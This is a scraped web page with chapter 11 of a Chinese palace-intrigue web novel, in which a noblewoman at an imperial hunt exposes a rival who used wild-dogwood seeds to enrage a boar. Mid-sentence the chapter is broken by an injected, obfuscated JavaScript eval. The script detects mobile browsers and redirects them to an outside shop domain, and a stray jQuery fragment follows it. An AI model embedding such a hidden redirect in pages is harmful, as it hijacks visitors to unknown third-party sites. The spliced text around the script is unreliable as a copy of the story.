文趣网 > 其他小说 > 一捧司香满月枝 > 11. 第 十一 章
    两个时辰后,围猎场内一片寂静,褚眠殊换了身干净衣衫静坐在女眷席中,手臂的伤口已由女医官包扎好。

    燕悸元安坐男子席位,周遭无数目光若有若无流转在二人身上。

    直至野猪的尸身被抬入场中,医官上前细看,便看到野猪毛发上沾染的野茱萸籽果,当下取出抬到南宁帝面前:“回禀陛下,此野猪乃是嗅到了野茱萸籽果的气味,才会被引动凶性”

    此话一出,围场众人心惊,多数人不知这野茱萸籽果能引起牲畜暴怒,但常参与围猎的世家都是知晓的。

    而每年狩猎,这狩猎场更是会提前清理这林中所有的野茱萸籽果,以防牲畜嗅后发狂,冲撞圣驾,按理说围猎场本不该有这果子的出现。

    褚眠殊目光淡淡,望着坐立针毡的李禾顷,开口道:“陛下,臣女方才换下的衣物之上,亦残留着野茱萸籽果碾碎入茶后散逸的辛麻气味”

    南宁帝闻言,眸中含着深意,而方才为褚眠殊诊治的女医馆起身,躬身禀奏:“陛下,确实如褚五娘子所言”

    得到更为肯定的回答,南宁帝沉声下令:“彻查究竟是何人,将这些野茱萸籽果带入围猎场中”

    “臣等遵旨”兵士领命,当即分头搜查。

    南宁帝转头看向褚眠殊,缓声问道:“褚五娘子心中,可有怀疑的人选?”

    话音落,满场目光齐聚在褚眠殊身上,她因受伤面色十分苍白,身姿却依旧坐的端正,不卑不亢。

    褚眠殊唇角勾起一抹浅笑,从容回道:“陛下,臣女今日入围猎场后,未曾饮过半点吃食茶水,亦不曾随意走动,全程都与扶摇郡主同行,若说衣裙无端沾染上异香,源头便只可能是李娘子先前送来的那盏清茶”

    此话一出,满堂异色,先前陪着李禾顷一同寻过褚眠殊的几名贵女唯恐被牵连,连忙开口辩解:“褚五娘子慎言!若照你这话,那我等一直伴在李娘子身侧,岂不是个个都有嫌疑?你莫不是因几日前与李娘子闹了些矛盾,便妄加揣测,凭空捏造事实”

    本就坐立难安的李禾顷见有人率先出头,立时起身跪地,摆出一副柔弱无辜之态:“还请陛下圣明,此事绝非臣女所为”

    席间,李大人与李夫人亦一同跪地叩首,作势清白:“还望陛下明察。”

    朝中官员、世家子弟望着李禾顷那副柔弱模样,都觉得她断然做不出这等阴险害人之事,纷纷出言:“想来只是一场误会,褚五娘子,猎场本就常有野兽在外游荡,许是你运气不济恰好撞上,怎能无凭无据就怀疑李娘子?”

    “是啊,五娘子,你不过是受了些小伤,既然并无大碍,何必揪着此事不放”

    文贵妃听着也适时柔声开口:“陛下,不过是闺阁女子间的玩闹,依臣妾看,此事不如就此作罢”

    贤德皇后尚且一言未发,文贵妃便贸然插话。南宁帝听着,心头原本彻查此事的心思顿时淡了大半,又联想到近日听到的坊间流言,褚、李两家的绣球招亲之事,越发只当是女子间的小打小闹。

    白浮窈满心不服,想要开口替褚眠殊辩驳,却被秦王妃拦下,只能抿着唇憋着气。

    褚眠殊端坐着,听着一句句偏袒维护李禾顷的言辞,连文贵妃都如此,看出端王的一手好棋。

    终是冷声轻笑,出声一一反驳:“林郎君所言恕我不认同,我并非无凭无据,正因证据在前,才敢直言怀疑。何况我受这点小伤自然无妨,可今日若那发狂野猪冲撞的是陛下与各位娘娘,诸位还会觉得这只是一桩小事吗?”

    一语落地,全场众人皆面露震惊之色,方才开口的林郎君等人瞬间哑口无言,纷纷垂首屏息,唯恐触怒龙颜。

    他们方才只顾怜惜维护柔顺的李禾顷,全然忘了发狂野猪一旦失控,极有可能惊扰圣驾、伤及皇室。

    一桩闺阁小事,转眼被褚眠殊一句话便成了关乎帝王安危、国之根本的大事。

    南宁帝听了褚眠殊这番话,周身气压骤然沉冷,冷冷扫了文贵妃一眼。文贵妃自知失言,不敢再多言。

    贤德皇后将这一切看在眼里,心底暗觉解气,看向褚眠殊的目光中,多了几分隐晦的赞赏。

    随后才缓缓开口:“陛下,此事断不能轻易作罢,一来要还褚五娘子公道,二来更是为陛下圣驾安危着想”

    说着,贤德皇后似是为了一视同仁,目光转向跪地的李禾顷,温声浅笑:“李娘子也不必担忧,真相自然会水落石出,本宫不会平白冤枉任何人”

    南宁帝见皇后主动接手此事,此事本就属后宅闺阁纷争,皇后出面才算妥当,便静默坐着,不再多言。

    见此情形,李禾顷身子僵硬紧绷,余光恐惧地看向男子席的端王,紧接又听贤德皇后看向褚眠殊,柔声问道:“褚五娘子方才说证据就在眼前,是在何处?”

    闻声,褚眠殊恭身回话:“回娘娘,那茶杯是证物怕是早已被有心之人销毁,但是这野茱萸籽果气味浓烈,一旦沾染衣物,就会随身携带,味道三日不散,寻常人难以察觉,唯有野兽牲畜对这气味极为敏感”

    贤德皇后听此一言,心中已然知晓,点头示意身边的周嬷嬷,周嬷嬷心领神会,应声开口:“劳请在场各位娘子们移步围成一圈”

    此话一出,众贵女们只得听令起身,在围场空地上各站一处,围绕成一圈。李禾顷双腿发软,硬撑着走入其中,面色苍白。

    端王见此情形,淡然开口:“皇后娘娘,褚五娘子此法虽好,恐会让牲畜伤害到各位娘子们”

    话音一转,又转头看向南宁帝,开口提出:“父皇,儿臣的属下无意间瞧见,燕六郎君赤手空拳制住了发狂的野猪,想来燕六郎君既有这般勇武的本事,再驯一头牲畜亦不在话下,父皇和母妃觉得如何?这样也不会伤及各位娘子们”

    端王此言一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17595948|205345||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    出,南宁帝心中警醒,再度对燕家生出忌惮之心。

    若真如端王所言,若燕悸元当真赤手空拳杀了野兽,那么就可证实燕家子弟勇武,燕家迟早会对皇权构成威胁,即便此事不实,亦可借此契机借机铲除燕家子弟,永绝后患。

    燕悸元端坐席上,心底冷冷一笑,早已看透端王步步设下的算计,燕呈川袖中紧握双拳,面上神色不动。

    南宁帝深思着,端王这番话,已然将闺阁纷争扯入朝堂大事。贤德皇后也不便贸然开口,只能静待帝王定夺。

    场面陷入僵持,褚眠殊听着端王表面一字一句透露着对在场娘子们的安危担忧,暗在拉燕家入浑水中。

    还未等帝后思虑开口,褚眠殊便起身恭敬行礼,直面端王道:“端王殿下的侍卫怕是看岔了,那野猪是臣女所杀,燕六郎君力气大,控制住野猪,而后是臣女亲自一箭射杀野猪咽喉,才将其一击毙命”

    满朝文武闻言皆满脸震惊,谁也想不到一介女子,竟有射杀野猪的胆识本领。

    南宁帝心生疑虑,当即传命医官前去勘验野猪尸身的创口。

    燕悸元遥遥望向场中伫立的褚眠殊,她身姿挺直,目光坚定,仿佛早已将所有人的算计、将棋局尽数看透。

    想起三个时辰前她当面一箭贯穿野猪咽喉时冷静的模样,心中不禁嗤笑,原来她宁愿脏了自己的手,也要从端王手中护下燕家。

    片刻后,医官折返回禀:“陛下,那野猪确是被一箭贯穿咽喉,一击毙命”

    听到此话后,褚眠殊俯首:“陛下娘娘不必担心,臣女向来箭法不错,虽伤在手臂,但不过是小伤,可在紧急关头,救各位娘子们”

    褚眠殊既然说出此话,南宁帝和贤德皇后自然无异议,场地内都有禁军,怎么可能真让牲畜伤到世家贵女。

    端王计策一再落空,心知南宁帝已然对他有了疑心,只得静坐。

    不多时,宫人牵着一头野狗走到场地中央,只瞧那野狗身形瘦削,却在走入场地中时,立时被周遭隐匿的野茱萸果的气味引动,浑身皮毛炸起,狂躁不安。

    大半文臣家眷与世家贵女从未见过这般凶戾场面,个个面露惊惧之色,周嬷嬷颔首示意,宫人当即松开拴住野狗的绳索。

    一侧的宫人早已将弓箭箭矢送至褚眠殊跟前,只见她伸手执起长弓,强忍手臂包扎的伤口几欲崩裂的痛感,咬牙将长弓缓缓拉开。

    那野狗双耳紧绷,瞳仁缩成细线,眼尾泛红,目露凶戾焦躁,周身满是狂暴的戾气。

    宫人将绳索一松,野狗立时龇牙咧嘴,朝着围成圈的贵女们直冲而去,众贵女吓得惊慌失措,四处逃窜,顷刻间便散作一团。

    只见那野狗被气味引诱穷追不舍,却径直朝着李禾顷的方向猛扑而去。

    李禾顷吓得双腿发软,慌乱间被裙摆绊住,重重跌倒在地。

    “啊!”